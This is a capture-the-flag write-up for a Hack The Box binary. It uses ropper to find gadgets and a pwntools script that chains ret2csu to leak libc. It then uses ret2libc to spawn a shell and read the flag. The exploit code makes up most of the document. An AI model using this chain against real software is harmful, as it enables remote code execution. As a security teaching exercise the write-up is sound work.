Downloading the binary, we see its a 64 bit executable. Running it an annoying pop up flickers, and after a seemingly random amount of time, it asks whether we want to turn off the alarm. Whether you put yes or no, it ignores you. Looking at the decompilation, we can actually stop the program by entering `9`. Another thing that stands out is that `puts` is not used in the program.
That doesn't sound like an issue, but `puts` requires the control of one register (rdi=buffer to print), where as write requires control of three registers (rdi = file descriptor, rsi = buffer to print, rdx = number of bytes to write). 
Let's go and get gadgets for these registers. Well that's an issue. We have no way to control the rdx register.
```bash> ropper --file minimelfistic --search "pop rsi|pop rdi|pop rdx"[INFO] Load gadgets from cache[LOAD] loading... 100%[LOAD] removing double gadgets... 100%[INFO] Searching for gadgets: pop rsi|pop rdi|pop rdx
[INFO] File: minimelfistic0x0000000000400a43: pop rdi; ret;0x0000000000400a41: pop rsi; pop r15; ret;```
This is a textbook scenario for the use of the ret2csu technique, also known as the universal gadget. . Essentially there is a section of every dynamically linked binary which contains 2 gadgets, allowing us to control rdi, rsi amd rdx.
We can do this by hand but pwntools can do simple method of this
```python#!/usr/bin/env python3
from pwn import *
elf = ELF("./minimelfistic", checksec=False)libc = ELF("./libc.so.6", checksec=False)ld = ELF("./ld-2.27.so", checksec=False)
context.binary = elfrop = ROP(elf)#context.log_level = "debug"
gs = '''continue'''
def conn():    if args.REMOTE:	    r = remote("68.183.40.128",31598)     else:        r = process([elf.path])        if args.GDB:            return gdb.debug(elf.path, gdbscript=gs)    return r
p = conn()
# symbolsmain = elf.sym.mainwrite_got = elf.got.writewrite_plt = elf.plt.write
# gadgetspop_rdi = 0x0000000000400a43ret     = 0x0000000000400616
# write leak with ret2csurop.raw(pop_rdi)rop.raw(p64(1))rop.ret2csu(1, elf.got.write, 8,1,1,1,1,1,1)rop.raw(pop_rdi)rop.raw(p64(1))rop.call(elf.plt.write)rop.call(elf.sym.main)
payload = flat({72:rop.chain()})
p.sendlineafter(b">", payload)p.sendlineafter(b">", b"9")p.recvline()p.recvline()p.recvline()
leak = u64(p.recv(6).ljust(8, b"\x00"))info(f"Leaked libc @ {hex(leak)}")libc.address = leak - libc.sym.writesuccess(f"Leaked Libc @ {hex(libc.address)}")
# now ret2libcrop2 = ROP(libc)binsh = next(libc.search(b"/bin/sh"))
rop2.raw(pop_rdi)rop2.raw(binsh)rop2.raw(libc.sym.system)
payload2 = flat({72:rop2.chain()})
p.sendlineafter(b">", payload2)p.sendlineafter(b">", b"9")pause(1)p.sendline("cat flag.txt")log.critical(f"{p.recvline_contains(b'HTB').decode()}")```